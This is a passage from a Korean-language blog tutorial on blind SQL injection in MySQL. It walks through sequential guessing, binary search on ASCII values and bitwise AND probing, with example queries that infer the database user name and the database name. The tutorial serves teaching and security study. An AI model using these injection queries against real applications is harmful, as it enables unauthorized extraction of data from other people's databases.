&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;812&quot; data-origin-height=&quot;466&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dUejyK/btsLm5oE8gC/xzWLTmMQKt9v8N8d22feZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dUejyK/btsLm5oE8gC/xzWLTmMQKt9v8N8d22feZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dUejyK/btsLm5oE8gC/xzWLTmMQKt9v8N8d22feZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdUejyK%2FbtsLm5oE8gC%2FxzWLTmMQKt9v8N8d22feZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;812&quot; height=&quot;466&quot; data-origin-width=&quot;812&quot; data-origin-height=&quot;466&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자명의 첫번째 글자가 r 임을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select substring(system_user(),1,1);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; system_user() 첫번째 글자&amp;nbsp; 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;387&quot; data-origin-height=&quot;129&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJOoW6/btsLnxZlAaW/XQVQCiqTDOffmn9b5zbGvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJOoW6/btsLnxZlAaW/XQVQCiqTDOffmn9b5zbGvk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJOoW6/btsLnxZlAaW/XQVQCiqTDOffmn9b5zbGvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJOoW6%2FbtsLnxZlAaW%2FXQVQCiqTDOffmn9b5zbGvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;387&quot; height=&quot;129&quot; data-origin-width=&quot;387&quot; data-origin-height=&quot;129&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and substring(system_user(),2,1)='a';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명의 두번째 글자가 a 가 맞는지 확인&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and substring(system_user(),2,1)='b';&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명의 두번째 글자가 b 가 맞는지 확인&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;c,d 등 순차적으로 문자열 삽입 후 o 를 삽입하니 결과값이 참이되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;744&quot; data-origin-height=&quot;318&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWb0NE/btsLofjh9XC/n85GOlkVeh4kqb4DcJ1yvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWb0NE/btsLofjh9XC/n85GOlkVeh4kqb4DcJ1yvK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWb0NE/btsLofjh9XC/n85GOlkVeh4kqb4DcJ1yvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWb0NE%2FbtsLofjh9XC%2Fn85GOlkVeh4kqb4DcJ1yvK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;744&quot; height=&quot;318&quot; data-origin-width=&quot;744&quot; data-origin-height=&quot;318&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자명의 두번째 글자가 o 임을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 하나씩 글자를 삽입하여 참이되는 결과값을 확인하여 데이터를 추론하는 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and substring(system_user(),3,1)='o';&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명의 세번째 글자가 o 가 맞는지 확인&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and substring(system_user(),4,1)='t';&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명의 네번째 글자가 t 가 맞는지 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;387&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biqVQF/btsLnShOWiN/fDpQVtGcE7GRTH68OmOzY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biqVQF/btsLnShOWiN/fDpQVtGcE7GRTH68OmOzY1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biqVQF/btsLnShOWiN/fDpQVtGcE7GRTH68OmOzY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiqVQF%2FbtsLnShOWiN%2FfDpQVtGcE7GRTH68OmOzY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;736&quot; height=&quot;387&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;387&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select system_user();&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이를 통해 사용자명이 root 라는 것을 알 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;2) 이진 탐색 &amp;rarr; ascii, substring 사용, 32 ~ 126 숫자와 크기 비교&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ascii(substring([대상 쿼리], N, 1))&amp;gt;80&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(system_user(),1,1))&amp;gt;80;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명 첫번째 글자의 아스키코드 값이 80보다 큰지 확인, 참&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(system_user(),1,1))&amp;gt;100;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명 첫번째 글자의 아스키코드 값이 100보다 큰지 확인, 참&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(system_user(),1,1))&amp;gt;110;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명 첫번째 글자의 아스키코드 값이 110보다 큰지 확인, 참&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(system_user(),1,1))&amp;gt;120;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명 첫번째 글자의 아스키코드 값이 120보다 큰지 확인, 거짓&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(system_user(),1,1))&amp;gt;115;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명 첫번째 글자의 아스키코드 값이 115보다 큰지 확인, 거짓&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(system_user(),1,1))&amp;gt;112;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명 첫번째 글자의 아스키코드 값이 112보다 큰지 확인, 참&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(system_user(),1,1))&amp;gt;114;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명 첫번째 글자의 아스키코드 값이 114보다 큰지 확인, 거짓&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(system_user(),1,1))&amp;gt;113;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명 첫번째 글자의 아스키코드 값이 113보다 큰지 확인, 참&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(system_user(),1,1))=114;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명 첫번째 글자의 아스키코드 값이 114 인지 확인, 참&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;805&quot; data-origin-height=&quot;906&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cTMmoU/btsLnYoNC0g/BTvPoYwKATpPkDJVP0u0EK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cTMmoU/btsLnYoNC0g/BTvPoYwKATpPkDJVP0u0EK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cTMmoU/btsLnYoNC0g/BTvPoYwKATpPkDJVP0u0EK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcTMmoU%2FbtsLnYoNC0g%2FBTvPoYwKATpPkDJVP0u0EK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;805&quot; height=&quot;906&quot; data-origin-width=&quot;805&quot; data-origin-height=&quot;906&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자명 첫번째 글자가 아스키코드 114이므로 문자열로 변환해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CHAR은 숫자를 받아 아스키코드에 맞게 문자를 리턴해주는 함수이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select char(114); 입력하여 문자열 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;256&quot; data-origin-height=&quot;130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mNQ3q/btsLnzJA1qR/VoHtcMfYcpwYI0vHGAH74k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mNQ3q/btsLnzJA1qR/VoHtcMfYcpwYI0vHGAH74k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mNQ3q/btsLnzJA1qR/VoHtcMfYcpwYI0vHGAH74k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmNQ3q%2FbtsLnzJA1qR%2FVoHtcMfYcpwYI0vHGAH74k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;256&quot; height=&quot;130&quot; data-origin-width=&quot;256&quot; data-origin-height=&quot;130&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자명의 첫번째 문자열이 r 인 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전과 마찬가지로 32 ~ 126 숫자와 크기를 비교하여 문자열을 탐색한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(system_user(),2,1))&amp;gt;80;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명 두번째 글자의 아스키코드 값이 80보다 큰지 확인, 참&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(system_user(),2,1))&amp;gt;100;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명 두번째 글자의 아스키코드 값이 100보다 큰지 확인, 참&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(system_user(),2,1))&amp;gt;110;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명 두번째 글자의 아스키코드 값이 110보다 큰지 확인, 참&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(system_user(),2,1))&amp;gt;120;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명 두번째 글자의 아스키코드 값이 120보다 큰지 확인, 거짓&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(system_user(),2,1))&amp;gt;115;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명 두번째 글자의 아스키코드 값이 115보다 큰지 확인, 거짓&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(system_user(),2,1))&amp;gt;112;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명 두번째 글자의 아스키코드 값이 112보다 큰지 확인, 거짓&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(system_user(),2,1))&amp;gt;111;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명 두번째 글자의 아스키코드 값이 111보다 큰지 확인, 거짓&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(system_user(),2,1))=111;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명 두번째 글자의 아스키코드 값이 111 인지 확인, 참&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;825&quot; data-origin-height=&quot;703&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dS1Gv7/btsLpk5tPGx/OeT62SxiG5OLOr2yQj7d7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dS1Gv7/btsLpk5tPGx/OeT62SxiG5OLOr2yQj7d7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dS1Gv7/btsLpk5tPGx/OeT62SxiG5OLOr2yQj7d7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdS1Gv7%2FbtsLpk5tPGx%2FOeT62SxiG5OLOr2yQj7d7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;825&quot; height=&quot;703&quot; data-origin-width=&quot;825&quot; data-origin-height=&quot;703&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자명 두번째 글자가 아스키코드 111이므로 select char(111); 입력하여 문자열을 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자명의 두번째 문자열이 o 인 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자명의 세번째와 네번째 글자의 아스키코드 숫자와 크기를 비교하여 문자열 추론이 가능하며, 아래와 같이 o와 t 임을 알 수 있다. &amp;rarr; root&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;793&quot; data-origin-height=&quot;514&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/w3Rjc/btsLon2HDlg/QxWcfyTxN9ol6nCuSFElS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/w3Rjc/btsLon2HDlg/QxWcfyTxN9ol6nCuSFElS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/w3Rjc/btsLon2HDlg/QxWcfyTxN9ol6nCuSFElS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fw3Rjc%2FbtsLon2HDlg%2FQxWcfyTxN9ol6nCuSFElS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;793&quot; height=&quot;514&quot; data-origin-width=&quot;793&quot; data-origin-height=&quot;514&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 찾고자 하는 데이터의 아스키코드 숫자 크기를 비교하여 문자를 추론하는 공격으로, 순차탐색보다는 좀 더 빠르게 데이터를 찾을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;3) 비트 탐색 &amp;rarr; 이진수 AND 비트연산&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ascii(substring([대상 쿼리], N, 1))&amp;amp;1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;찾고자 하는 데이터를 아스키코드로 변환 후 AND 비트연산한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 문자 r의 아스키코드는 114 이며, 이를 이진수로 변환하였을 때 0111 0010 이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 이진수 자리와 AND 연산하여 참과 거짓을 통해 데이터를 추론하는 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아스키코드는 127까지 있으므로 64까지만 확인하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0111 0010 &amp;amp; 0000 0001 =1 &amp;rarr; 거짓&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0111 0010 &amp;amp; 0000 0010 =2 &amp;rarr; 참&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0111 0010 &amp;amp; 0000 0100 =4 &amp;rarr; 거짓&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0111 0010 &amp;amp; 0000 1000 =8 &amp;rarr; 거짓&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0111 0010 &amp;amp; 0001 0000 =16 &amp;rarr; 참&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0111 0010 &amp;amp; 0010 0000 =32 &amp;rarr; 참&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0111 0010 &amp;amp; 0100 0000 =64 &amp;rarr; 참&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 AND 비트연산에서 참이되는 값을 더하여 문자열로 변환하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2+16+32+64 = 114 &amp;rarr; r (아스키코드 114)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select database() &amp;rarr; 현재 선택된 데이터베이스 조회&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),1,1))&amp;amp;1=1;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 첫번째 글자의 아스키코드와 1을 AND 연산, 거짓&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),1,1))&amp;amp;2=2;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 첫번째 글자의 아스키코드와 2를 AND 연산, 거짓&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),1,1))&amp;amp;4=4;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 첫번째 글자의 아스키코드와 4를 AND 연산, 거짓&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),1,1))&amp;amp;8=8;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 첫번째 글자의 아스키코드와 8을 AND 연산, 거짓&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),1,1))&amp;amp;16=16;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 첫번째 글자의 아스키코드와 16을 AND 연산, 참&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),1,1))&amp;amp;32=32;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 첫번째 글자의 아스키코드와 32를 AND 연산, 참&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and ascii(substring(database(),1,1))&amp;amp;64=64;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 현재 데이터베이스명의 첫번째 글자의 아스키코드와 64를 AND 연산, 참&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;805&quot; data-origin-height=&quot;576&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S5rAS/btsLtbAY53E/wb13Pp0uJC2L3CO1NMN3JK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S5rAS/btsLtbAY53E/wb13Pp0uJC2L3CO1NMN3JK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S5rAS/btsLtbAY53E/wb13Pp0uJC2L3CO1NMN3JK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS5rAS%2FbtsLtbAY53E%2Fwb13Pp0uJC2L3CO1NMN3JK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;805&quot; height=&quot;576&quot; data-origin-width=&quot;805&quot; data-origin-height=&quot;576&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참인 결과만 더해서 문자열을 추론한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;16+32+64 = 112&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select char(112); 을 입력하면 문자열 p가 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;227&quot; data-origin-height=&quot;129&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVf6ef/btsLpkj7mbA/KKooYY3q9WwkYzCmOgmtYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVf6ef/btsLpkj7mbA/KKooYY3q9WwkYzCmOgmtYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVf6ef/btsLpkj7mbA/KKooYY3q9WwkYzCmOgmtYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVf6ef%2FbtsLpkj7mbA%2FKKooYY3q9WwkYzCmOgmtYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;227&quot; height=&quot;129&quot; data-origin-width=&quot;227&quot; 